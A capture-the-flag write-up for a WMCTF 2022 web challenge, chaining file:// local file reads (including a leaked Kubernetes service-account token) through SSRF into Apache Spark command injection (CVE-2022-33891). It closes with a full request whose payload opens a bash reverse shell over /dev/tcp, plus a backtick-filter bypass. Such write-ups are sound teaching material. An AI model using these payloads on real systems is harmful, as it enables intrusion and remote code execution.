WMCTF 2022 LFI->SSRF->RCE

WMCTF 2022 - web writeup

Intro

WMCTF was a very decent capture the flag competition with very hard and realistic tasks; We spot 23rd position after 2 sleepless nights, it was a real pleasure to play with SOter14 team.
https://ctftime.org/team/194091

Java - 15 solves (435 points)



A simple form that sends post request to /file with two params:

  • URL (url to visit)
  • VCODE (captcha) and reflects back the result. We don’t have source code of the task though.

The first thing I tested is LFI(Local File Inclusion) with file protocol file:// in order to read internal files, looks like an entrypoint!

I opened a lot of sensitive files and from .bash_history (/home/ctf/.bash_history) I found that the server is running apache tomcat, hence I tried to search for the right path to the source code of the running web app :


> file:///usr/local/tomcat8/webapps/ROOT.war

successfuly dumped the source code !


Let's focus on the .class files found in WEB-INF/classes/controller as they contain the logic of the webtask :


I used jdec online as a java decompiler


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
 /* Decompiler 13ms, total 665ms, lines 93 */
package controller;

import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.IOUtils;
import util.SslUtils;

@WebServlet({"/file"})
public class IndexController extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.Response(resp, "Welcome to W&MCTF.");
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String validateCode = req.getParameter("Vcode");
String url = req.getParameter("url");
if (req.getSession().getAttribute("code") == null) {
this.Response(resp, "Please Enter Captcha.");
}

String sessionValidateCode = (String)req.getSession().getAttribute("code");
if (!validateCode.equalsIgnoreCase(sessionValidateCode)) {
this.Response(resp, "Verification code error.");
} else {
InputStream inputStream = null;
URLConnection urlConnection = null;
if (url.contains("`") || url.contains("%60") || url.contains("%25%36%30")) {
this.Response(resp, "bad");
}

try {
URL url1 = new URL(url);
if ("https".equalsIgnoreCase(url1.getProtocol())) {
SslUtils.ignoreSsl();
HashMap<String, String> map = (HashMap)getHeaders(req);
urlConnection = url1.openConnection();
Iterator var10 = map.entrySet().iterator();

while(var10.hasNext()) {
Entry item = (Entry)var10.next();
urlConnection.setRequestProperty(item.getKey().toString(), item.getValue().toString());
}
} else {
urlConnection = url1.openConnection();
}

inputStream = urlConnection.getInputStream();
IOUtils.copy(inputStream, resp.getOutputStream());
resp.flushBuffer();
} catch (Exception var15) {
var15.printStackTrace();
} finally {
inputStream.close();
}
}

}

private void Response(HttpServletResponse resp, String outStr) throws IOException {
resp.setCharacterEncoding("UTF-8");
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}

private static Map<String, String> getHeaders(HttpServletRequest request) {
Map<String, String> headerMap = new HashMap();
Enumeration enumeration = request.getHeaderNames();

while(enumeration.hasMoreElements()) {
String name = (String)enumeration.nextElement();
String value = request.getHeader(name);
headerMap.put(name, value);
}

return headerMap;
}
}

The other VerifyCode.class is handling the captcha and there is nothing interesting there.

Notes:

  • The input validation is very suspicious, didn’t found a logic explanation why the author is filtering ` char.

    1
    2
    3
    if (url.contains("`") || url.contains("%60") || url.contains("%25%36%30")) {
    this.Response(resp, "bad");
    }
  • Ignoring SSL from incoming https request looks juicy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
try {
URL url1 = new URL(url);
if ("https".equalsIgnoreCase(url1.getProtocol())) {
SslUtils.ignoreSsl();
HashMap<String, String> map = (HashMap)getHeaders(req);
urlConnection = url1.openConnection();
Iterator var10 = map.entrySet().iterator();

while(var10.hasNext()) {
Entry item = (Entry)var10.next();
urlConnection.setRequestProperty(item.getKey().toString(), item.getValue().toString());
}
} else {
urlConnection = url1.openConnection();
}

inputStream = urlConnection.getInputStream();
IOUtils.copy(inputStream, resp.getOutputStream());
resp.flushBuffer();
} catch (Exception var15) {
var15.printStackTrace();
} finally {
inputStream.close();
}

From linux env file:

file:///proc/self/environ


1
eyJhbGciOiJSUzI1NiIsImtpZCI6Ik1IN0RxS0k3U0xhZ1ljYnk1WkE3WE5Mb2dMcVdLOXh5NXVEdmtfc2lKMWMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImN0ZmVyLXRva2VuLXB6NWxtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImN0ZmVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYjg2ODY0MTgtOWNiOC00MjZiLThkZmQtNTgxM2E1YTVmMTdiIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6Y3RmZXIifQ.JWwKPAYDMYDmqq-jg9Mzmvil-wG33skSqWsS3_zjv1bLGTRMUvP73w_LsLu7ptRJ1iofTbHBrgRyn01sJ2wjG8f-LruNFWwPj0S6zcGnfYlaUfG70lZIA7otXgEb2pCBzdqrxH4n4PR2aAE5wG-p_uoBjwiShrX-ykfxwErJMnwvJ15OQ57Y87QlZllkaYnvXgg3853qQ5ww414dz4UZ1BL7jXlcCjwbivHMifxMvUAL6GJWY-yoA3hJJBMNz5sjgUz71MXs-0wWLczDk5cv4mbXrjE-mCden5er32ifjsWBx6H_1i5JX6lSt3BP7iUxBQVaqLhnBtYR5nQuFADMFg

Special thanks to my teammate Raf² for mentionning that this is a Kubernetes related stuff


With that being said, we can chain the LFI with SSRF to access /apis endpoint with that token from localhost


/apis/v1/namespaces



/api/v1/namespaces/ctf/pods/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
HTTP/1.1 200 
Date: Tue, 23 Aug 2022 02:35:08 GMT
Connection: close
Content-Length: 6185

{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {
"selfLink": "/api/v1/namespaces/ctf/pods/",
"resourceVersion": "1207989"
},
"items": [
{
"metadata": {
"name": "spark-deploy-7b4fc6bdc7-64g7z",
"generateName": "spark-deploy-7b4fc6bdc7-",
"namespace": "ctf",
"selfLink": "/api/v1/namespaces/ctf/pods/spark-deploy-7b4fc6bdc7-64g7z",
"uid": "71b3e7d2-a0fc-4150-b59a-da8c42bc2391",
"resourceVersion": "1203356",
"creationTimestamp": "2022-08-23T02:00:01Z",
"labels": {
"app": "spark",
"pod-template-hash": "7b4fc6bdc7"
},
"ownerReferences": [
{
"apiVersion": "apps/v1",
"kind": "ReplicaSet",
"name": "spark-deploy-7b4fc6bdc7",
"uid": "4d451b5a-c85c-4949-8154-cec202f4f09f",
"controller": true,
"blockOwnerDeletion": true
}
],
"managedFields": [
{
"manager": "kube-controller-manager",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-08-23T02:00:01Z",
"fieldsType": "FieldsV1",
"fieldsV1": {"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"4d451b5a-c85c-4949-8154-cec202f4f09f\"}":{".":{},"f:apiVersion":{},"f:blockOwnerDeletion":{},"f:controller":{},"f:kind":{},"f:name":{},"f:uid":{}}}},"f:spec":{"f:containers":{"k:{\"name\":\"easyspark\"}":{".":{},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:ports":{".":{},"k:{\"containerPort\":8080,\"protocol\":\"TCP\"}":{".":{},"f:containerPort":{},"f:protocol":{}}},"f:resources":{},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:terminationGracePeriodSeconds":{}}}
},
{
"manager": "kubelet",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-08-23T02:00:03Z",
"fieldsType": "FieldsV1",
"fieldsV1": {"f:status":{"f:conditions":{"k:{\"type\":\"ContainersReady\"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:status":{},"f:type":{}},"k:{\"type\":\"Initialized\"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:status":{},"f:type":{}},"k:{\"type\":\"Ready\"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:status":{},"f:type":{}}},"f:containerStatuses":{},"f:hostIP":{},"f:phase":{},"f:podIP":{},"f:podIPs":{".":{},"k:{\"ip\":\"10.244.0.228\"}":{".":{},"f:ip":{}}},"f:startTime":{}}}
}
]
},
"spec": {
"volumes": [
{
"name": "default-token-sbsqg",
"secret": {
"secretName": "default-token-sbsqg",
"defaultMode": 420
}
}
],
"containers": [
{
"name": "easyspark",
"image": "wmctf2022/easyspark",
"ports": [
{
"containerPort": 8080,
"protocol": "TCP"
}
],
"resources": {

},
"volumeMounts": [
{
"name": "default-token-sbsqg",
"readOnly": true,
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount"
}
],
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "Never"
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"serviceAccountName": "default",
"serviceAccount": "default",
"nodeName": "vm-22-6-ubuntu",
"securityContext": {

},
"schedulerName": "default-scheduler",
"tolerations": [
{
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"effect": "NoExecute",
"tolerationSeconds": 300
},
{
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"effect": "NoExecute",
"tolerationSeconds": 300
}
],
"priority": 0,
"enableServiceLinks": true
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2022-08-23T02:00:01Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2022-08-23T02:00:03Z"
},
{
"type": "ContainersReady",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2022-08-23T02:00:03Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2022-08-23T02:00:01Z"
}
],
"hostIP": "10.12.22.6",
"podIP": "10.244.0.228",
"podIPs": [
{
"ip": "10.244.0.228"
}
],
"startTime": "2022-08-23T02:00:01Z",
"containerStatuses": [
{
"name": "easyspark",
"state": {
"running": {
"startedAt": "2022-08-23T02:00:02Z"
}
},
"lastState": {

},
"ready": true,
"restartCount": 0,
"image": "wmctf2022/easyspark:latest",
"imageID": "docker://sha256:e3722f1aa05072ab638efd270372d3c4db589b11559e32ed4d7a898cd1fcebe0",
"containerID": "docker://263ddc35cb938793a560cc5034a9f312fb73ef57fbffb86ff4b4692a4f5a6344",
"started": true
}
],
"qosClass": "BestEffort"
}
}
]
}

Well seems that there are few more steps, To sum up:

  • There is a pod (the smallest execution unit in Kubernetes) that is running apache spark, in a container with exposed IP
  • "ip": "10.244.0.228"
  • "containerPort": 8080
  • The ip is incrementing by one every 40 mins
  • The flag hides in that container, we need to chain with RCE !


Well, it’s CVE-2022-33891 recently found by the security researcher Kostya Kortchinsky: https://www.socinvestigation.com/cve-2022-33891-apache-spark-shell-command-injection-detection-response/


We’re too close to reach our flag, it’s a blind os command injection context that will give us remote code execution, but hold on! Remember that ` was blacklisted :)
As a result, the proof of concept for this CVE ain’t working :)

http://10.244.0.228:8080/?doAs=\`COMMAND\`

The author said that I should dive deep in Spark source code in order to get an alternative, that’s really tough !

Final solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /file HTTP/1.1
Host: 1.13.254.132:8080
Content-Length: 116
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://1.13.254.132:8080
Referer: http://1.13.254.132:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=079D05EA2477663463009EADC94CA8B9
Connection: close

url=http://10.244.0.230:8080/?doAs=%253bbash%2b-i%2b>%2526%2b/dev/tcp/[personal VPS IP]/8888%2b0>%25261&Vcode=LRN9

Payload

1
http://10.244.0.230:8080/?doAs=%253bbash%2b-i%2b>%2526%2b/dev/tcp/[personal VPS IP]/8888%2b0>%25261

Notes

  • “?doAs=;command” is a proved alternative for “?doAs=`command`“
  • Ports are filtered and only port 8888 is allowed as an external port, so we are restricted to only listen on port 8888 in order to grab rev shell, ngrok won’t work though cuz it generates random port. A private vps is a must for solving the chall.


Finally

Raf², m0ngi and all my teammates are GODLIKE! They showcased a great performance in this CTF.

RESPECT to Chara, the author of the task!
Looking forward to solve more difficult (and not guessy ofc) challs



n0s